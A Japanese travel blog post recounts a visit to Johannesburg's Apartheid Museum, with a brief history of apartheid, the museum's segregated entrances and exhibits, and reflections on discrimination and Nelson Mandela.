『生まれた所や皮膚や目の色で いったいこの僕の何が分かるというのだろう』(引用:THE BLUE HEARTS 青空)
こんにちは!旅での歴史は“出会い”。歴旅ライターのまえてぃーです。
突然ですが、みなさんは「お前肌の色が他の人と違うから一緒に生活したらダメ」って言われたらどうします?
さらには、
「お前、背が低いから(高いから)みんなと一緒の学校に行っちゃダメ」
「お前、目の色がみんなと違うからみんなと一緒の地域に住んじゃダメ」
「お前の親、みんなと違うからお前も違うに決まってるからここにいちゃダメ」
…何も悪いことなんてしていないのに、こんなこと言われたらどうしますか?
ただ、生まれた瞬間から持っていたものを否定され、嫌われ、差別される。
そんな風に世間から言われたらどんな気持ちがしますか?
今回ご紹介したい場所はここ、南アフリカ「アパルトヘイト ミュージアム」。
南アフリカでは、人種隔離政策という国の方針で非白人に対し差別的なことが“法律”として存在していた国です。
人種隔離政策のことを“アパルトヘイト”と呼びます。ヘイト、とは“差別する”“憎悪する”という意味があり、ヘイトスピーチと聞けば、ピンと来る人もいるのではないでしょうか。
そんなアパルトヘイトについて考えるとき、きっとあなたは生まれた意味を考える。
- 人と人は共存できないのか。
- 区別することに何の意味があるのか。
- 差別することが何を生み出すのか。
そして、それでも人の強さを信じたい。自由であることを思い出したい。人種を超えて手を取り合える日が来ることを願わずにはいられない。
魂が震える南アフリカ「アパルトヘイトミュージアム」
ぜひ最後までご覧ください。
目次
アパルトヘイトとは?
1488年、世界はあの大航海時代。スペインやポルトガルがヨーロッパを超えてアフリカやアジア進出を目指していた時代に、ポルトガルがアフリカ最南端「喜望峰」を発見。
1600年代、オランダが南アフリカの現ケープタウンを植民地化し、占領しました。
1700年代後半になると、金やダイヤモンドなどの鉱山物を巡りイギリスが介入。オランダはイギリスへ植民地を壌土しました。南アフリカには多数のイギリス人が移住。力を持つイギリス人、つまり白人と、それ以外の人(以下、非白人)に国民は二極化されていきました。
第二次世界大戦以降、世界は脱植民地を唱え始め、1960年代は「アフリカの年」と呼ばれるほど、アフリカの国々が支配されていたヨーロッパの国々から独立を果たしていくわけですが、南アフリカだけはそれが難しかったのです。
なぜなら、南アフリカ政府は世界と真逆なほど、人種差別をより強固にしていったからです。
1948年に政権を握った国民党は、絶対白人優位主義を唱え「制度」を作りました。
例えば、非白人の政治への介入はもちろん、経済面や文化や生活、福祉、教育など・・。
あらゆる面で徹底的に“隔離”をし、“差別”しました。
例えば、白人が就ける仕事に非白人は就けない。白人が通える学校に非白人は通えない。入れないレストラン。乗れないバス。座れないベンチ。生活のあらゆるものが「人種」という肌の色で区別され、一方は優位に、一方には禁止をし、このような流れで「差別大国」が出来上がっていきました。
さらにどのようにして白人と非白人を分けるかというと、白人たちの持つ“基準”が使われていました。非白人の多くの髪の毛の質はパーマのような人が多い。ので、髪の毛にボールペンが刺さって止まったら非白人、テーブルマナーを白人なら知っているので知らない人は非白人。白人と非白人を区別する時、このような意味も分からない基準がたくさんあり、しかも“大人たち”が真剣に使っていたという事実に驚きを隠せませんでした。
このアパルトヘイト制度は、なんと、1991年まで続きました。
1991年と言えば日本では平成3年。ジュリアナが流行、音楽界では「ラブストーリーは突然に」「どんなときも」「愛は勝つ」」「SAY YES」など今でも誰もが知っているような曲が生まれ、SMAPがデビューした年でもあります。文化面で大きく花が開いていた頃、遠く離れた、でも同じ地球のとある国では、人々は分断を進め、生まれた場所や肌の色で差別された人々は、あらゆる選択肢を排除され、生きることに価値を見出せない状況が続いていました。
南アフリカ最大都市ヨハネスブルグにある
「アパルトヘイト ミュージアム」
南アフリカ最大都市“ヨハネスブルグ”。
ここに、まえてぃーが旅をする前からずっと行ってみたかった場所がある。
それが、「アパルトヘイト ミュージアム」。
長く制度化されたアパルトヘイトの歴史と内容、そして非白人たちが自由と権利を勝ち取るまでの戦いの様子をその目で見ることができる博物館です。
注目していただきたいのは入り口!
チケット売り場でチケットを買うとすぐ入り口があります。
チケット売り場を出て、入り口へ向かいます。そしてその入り口は二つに分かれています。
それは、
「WHITES」or「NON-WHITES」に。
つまり「白人」か「非白人」かです。
観光客は自分の肌の色に関係なく、どちらから入るかを選ぶことができます。
みんな面白半分で「どっちから入ろうかな~」と考えながら中へ吸い込まれています。
しかし、入ったら最後、私たちは一気に人種差別の持つ闇と歴史の重みを感じずにはいられませんでした。
アパルトヘイト ミュージアムの入り口は“差別”への入り口
実はこのミュージアムの入り口。
中に入るとそのまま白人と非白人のコースに分かれ、お互いの顔は鉄格子で阻まれ、姿こそ見えるけれど行き来が出来ないようになっているのです!
そんなことは知らず、まえてぃーは「非白人」の入り口から入ろうかと考えていました。
ふとその時、白人の親子が入り口へ向かっていきました。40歳くらいのお父さんと、7歳くらいの女の子の親子でした。
女の子が楽しそうに、「パパ、私は非白人のところから入るね~」とキラキラした笑顔で入って行きました。
そして、「じゃあパパは白人側から入るね」と、女のことは別の入り口へ。
まえてぃーは女の子のすぐ後から非白人の入り口から入りました。
すると、、、。
入り口を超えてもお父さんと出会えない状況に愕然とする女の子。
きっと入り口から出たらすぐにパパと手を繋げると思っていたのでしょう。
パパも同じでいつまで続くか分からない鉄格子の道に戸惑いを隠せません。
鉄格子にしがみつき、「パパ、そっち行きたい」と泣きそうになる女の子。
鉄格子の道にはこの道がいつまで続くのかなど書かれていません。
もちろん事前にも告知されません。
あるのは白人とそれ以外を分けるために使われていた標識と、黒人たちに配られる「黒人証明書」の展示のみでした。
1つの曲がり角を終えて進むと外に出ることができ、また一緒に進むことができるのですが、このたった数十メートルの間に、たった数分の間に訪れた突然の“理不尽”な状況。
これが“人種差別”。
つまり、生まれた瞬間、訳も分からないままその存在が否定され、劣っていると決めつけられ、受ける仕打ちかと胸が痛くなりました。
それを現実世界で一生受けること。
あなたなら、“耐えられますか??”
入り口の破壊力がまえてぃーの、観光客のメンタルを打ち付けました。
アパルトヘイト ミュージアムの展示物
アパルトヘイトミュージアムでは、この前半部分しか写真撮影は許されていません。
しかし、中盤・後半にかけて出会うことができる資料や映像、非白人たちの想いは今を自由に生きる私たちに忘れていた自由の大切さと偉大さを教えてくれます。
住む場所を決められ、街の中心には住めず、川の近くや土壌がしっかりしていない場所に居住地として閉じ込められる。
少数の白人に、圧倒的大多数の非白人は“自由”の意味さえ分からず生まれ、自分たちの存在を否定され生きていかなければならなかった。
反抗したら容赦なく逮捕・暴行の対象となり処刑された人々もいた。
展示物に足枷があった。
展示物に処刑場の模型があった。
展示物の映像に差別される子どもたちがいた。
展示物の映像に声を上げ差別と闘う姿があった。
そして引きずられ、殴られ、蹴られ、血を流す姿があった。
展示物の映像に自由を勝ち取る姿があった。
白人と黒人が手を握り合う姿があった。
時間を忘れて食い入るように見つめ続けた時間でした。
南アフリカ最大都市:ヨハネスブルグというところ
まえてぃーはどうしてもこの南アフリカのヨハネスブルグに来たかった。
このアパルトヘイトミュージアムにどうしても来たかったからだ。
ヨハネスブルグをネットで調べると、ホテルから出たらすぐ強盗に会う、とか、道には血まみれの人がよく倒れてる、とかそんな恐怖な出来事しか書かれていない。
確かに以前はそうだったのかもしれないし、今でも夜や小さな路地に入るのは危険も感じる。
しかし、私がヨハネスブルグで出会った人はみんな優しかった。
お店の人に道を聞くと、商品を買わないのにとても丁寧に教えてくれた人がいた。
酔っ払いに絡まれてたら“この子に近づくな”と守ってくれた人がいた。
タクシーなら私が呼んであげると自分のスマホを貸してくれた人がいた。
バスを待ってる間、乗れるまで道路の向こうで見守ってくれた人がいた。
そして、それを白人の人にもしていた。
アパルトヘイトが終わってまだ約30年。根深いものはまだあるかもしれないが、人が人であるということ、人が人であろうとすること、肌の色に惑わされず、中はみな同じ臓器を持つ人間であり、同じ心をもつ生き物だということ。
そんなことを教えてもらえる場所です。
差別は過去の歴史じゃない
そして今、私たちが生きる現代にも“差別”があるということを忘れてはいけない。
日本にいると、人種に関する差別は実感することはないかもしれませんが、それでもやはり「生まれ」や「性別」、「経歴」や「学歴」で差別があると感じることはあるのではないでしょうか。
その差別と“闘う”と聞くと、難しく感じるけれど、“違いを受け入れる”と聞くとどうでしょう?
そもそも私たちは学校や職場で、趣味や旅で、全く知らなかった人たちと友達になってきた。
名前も家族構成も性格も考えも「違う」人と一緒に遊んで楽しかったり、語り合ったり、時にはケンカをして傷つけあうこともあったかもしれない。でも、分かり合えた喜びもあれば、乗り越えた絆もあったはず。
『“違い”は“間違い”じゃない』
違いを楽しむ力が、乗り越える力が、私たちにはきっとある。
さいごに:「ネルソン・マンデラ」という人について
アパルトヘイトについて話すとき、絶対に知っておきたい人がいる。
それが、“ネルソン・マンデラ”。
アパルトヘイト撤廃を訴え続け、1962年に国家反逆罪として逮捕、終身刑となり絶海の孤島、ロベン島の刑務所に収監されます。
それから実に28年もの間を刑務所で過ごし、それでも差別と闘い続け、希望を持ち続け、釈放後、南アフリカの大統領となった人物です。
「生まれた時から、肌の色や育ち、宗教で他人を憎む人などいない。
人は憎むことを学ぶのだ。
もし憎しみを学べるのなら、
愛を教えることもできる。
愛は、憎しみに比べ、より自然に人間の心に届く」
彼の残した言葉です。
憎しみは学ぶもので、愛は教えるもの。
学んでしまった憎しみを、また差別することに抵抗がなくなってしまったことも、愛に変えていけることができる。
そして、それができるのは、今を生きる大人たちだとと言われている気がします。
マンデラは大統領就任後、続く差別の撤廃、格差の是正などに積極的に取り組みました。
“許そう。しかし忘れまい”
忘れず、かつ憎まず新しい道を模索する。
そんなここ、南アフリカへ、ぜひお越しください!!
魂が震える授業、また次回、お会いしましょう!!
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